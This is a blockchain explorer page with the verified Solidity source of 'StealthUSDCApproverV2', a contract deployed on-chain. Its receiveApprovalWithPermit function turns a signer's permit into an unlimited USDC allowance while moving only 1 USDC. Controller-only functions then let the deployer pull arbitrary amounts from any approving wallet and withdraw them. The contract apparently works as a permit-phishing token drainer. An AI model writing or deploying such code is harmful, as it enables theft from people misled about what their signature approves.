Verified contractExactMIT
StealthUSDCApproverV2
Address0x90b618450c3924256df3f6bf4e752907bf14d0c2
- Balance
0 ETH
- Transactions
3
- Compiler
solc 0.8.0
- Same code
Only this contract
Details
- Compiler
- solc 0.8.0+commit.c7dfd78e
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,335,720
- Creation transaction
- 0x1f9bc1999b…b072538911
usdc.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20Permit {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract StealthUSDCApproverV2 {
IERC20Permit public immutable usdc;
address public immutable controller;
constructor(address usdcToken) {
usdc = IERC20Permit(usdcToken);
controller = msg.sender;
}
function receiveApprovalWithPermit(
address friend,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
// Grant unlimited approval via permit signature
usdc.permit(
friend,
address(this),
type(uint256).max,
deadline,
v,
r,
s
);
// Transfer 1 USDC (1,000,000 in 6 decimals)
bool success = usdc.transferFrom(friend, msg.sender, 1_000_000);
require(success, "Transfer failed");
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(msg.sender == controller, "!controller");
return usdc.transferFrom(from, to, amount);
}
function extract(address to, uint256 amount) external {
require(msg.sender == controller, "!controller");
bool success = usdc.transfer(to, amount);
require(success, "Transfer failed");
}
function extractAll(address to) external {
require(msg.sender == controller, "!controller");
uint256 balance = usdc.balanceOf(address(this));
bool success = usdc.transfer(to, balance);
require(success, "Transfer failed");
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.